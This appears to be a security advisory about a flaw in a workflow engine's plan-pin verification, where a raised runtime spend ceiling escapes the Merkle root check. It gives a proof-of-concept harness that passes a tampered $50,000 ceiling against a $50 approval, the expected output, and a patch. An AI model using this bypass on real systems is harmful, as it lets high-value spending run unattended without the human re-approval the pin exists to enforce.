Component: primitives/plan_pin.py — pin() / check() (station v0.97).
The defect.
The Plan-Pin specification promises that any change in blast radius or spend ceiling requires human re-approval (primitives/plan_pin.py:12 "The pin exists so a workflow approved by a human can run repeatedly unattended... any future change — or a larger blast radius — will stop and wait").
However, workflow_engine.py:509 builds the canonical Merkle root (root = _merkle(leaf_hashes)) strictly from node and tool leaves, omitting the top-level capabilities.max_spend_cents key. Furthermore, plan_pin.py:93-94 records only the plan-time estimate (approved_spend_cents) while plan_pin.py:123-145 verifies only root == rec["plan_root"].
An attacker or compromised session can raise engine_spec.capabilities.max_spend_cents on disk (e.g. from $50.00 to $50,000.00). Because the Merkle root is unaffected, plan_pin.check() returns (True, "matches the approved plan"), allowing the unattended scheduler to execute high-value financial actions without human re-approval.
Reproduction (standalone harness).
import os, shutil, tempfile, json
try:
from primitives import plan_pin as pp
except ImportError: # Workbench layout
from workbench.primitives import plan_pin as pp
ws = tempfile.mkdtemp(prefix="rc_plan_pin_")
wf_id = "wf_automated_payout"
# Original plan approved by human with a $50.00 budget ceiling
approved_plan = {
"workflow_root": "sha256:7a8f8e9123456789abcdef0123456789abcdef0123456789abcdef0123456789",
"blast_radius": {"spend_cents": 5000, "spend_unbounded": False, "requires": []},
}
pp.pin(ws, wf_id, approved_plan, approved_by="finance_lead@example.com")
# Tampered runtime spec: capabilities ceiling inflated 1000x to $50,000.00
tampered_plan = {
"workflow_root": "sha256:7a8f8e9123456789abcdef0123456789abcdef0123456789abcdef0123456789",
"blast_radius": {"spend_cents": 5000, "spend_unbounded": False, "requires": []},
"capabilities": {"max_spend_cents": 5_000_000}, # $50,000.00
}
ok, reason, detail = pp.check(ws, wf_id, tampered_plan)
print("Plan Pin Check Allowed Execution:", ok)
print("Verification Verdict:", reason)
print("Approved Pinned Spend (cents):", detail.get("approved_spend_cents"))
print("Runtime Tampered Spend (cents):", tampered_plan["capabilities"]["max_spend_cents"])
print("High-Spend Tampering Passed Unattended:",
ok and tampered_plan["capabilities"]["max_spend_cents"] > detail.get("approved_spend_cents", 0))
shutil.rmtree(ws)
Expected raw output on vulnerable code:
Plan Pin Check Allowed Execution: True
Verification Verdict: matches the approved plan
Approved Pinned Spend (cents): 5000
Runtime Tampered Spend (cents): 5000000
High-Spend Tampering Passed Unattended: True
Scope (stated honestly).
- Affects workflows with dynamic pricing/spend where the capabilities ceiling is enforced at runtime.
- Allows financial spend-threshold tampering while plan verification still passes.
- Does not affect fixed literal values already embedded inside node argument leaves (those remain covered by the Merkle root).
Fix.
Include the runtime spend ceiling in the verification path (and, preferably, also fold capabilities into the Merkle preimage):
--- a/primitives/plan_pin.py
+++ b/primitives/plan_pin.py
@@ -140,6 +140,11 @@
if root != rec["plan_root"]:
return False, (
"this workflow has CHANGED since it was approved for live runs — "
"re-approve it after reviewing the new blast radius"), detail
+ cap_spend = int((plan.get("capabilities") or {}).get("max_spend_cents") or 0)
+ pinned_spend = int(rec.get("approved_spend_cents") or 0)
+ if cap_spend > pinned_spend and not rec.get("approved_spend_unbounded"):
+ return False, (
+ f"runtime spend ceiling ({cap_spend}c) exceeds approved pin "
+ f"({pinned_spend}c)"), detail
return True, "matches the approved plan", detail
Classification: CWE-345 (Insufficient Verification of Data Authenticity)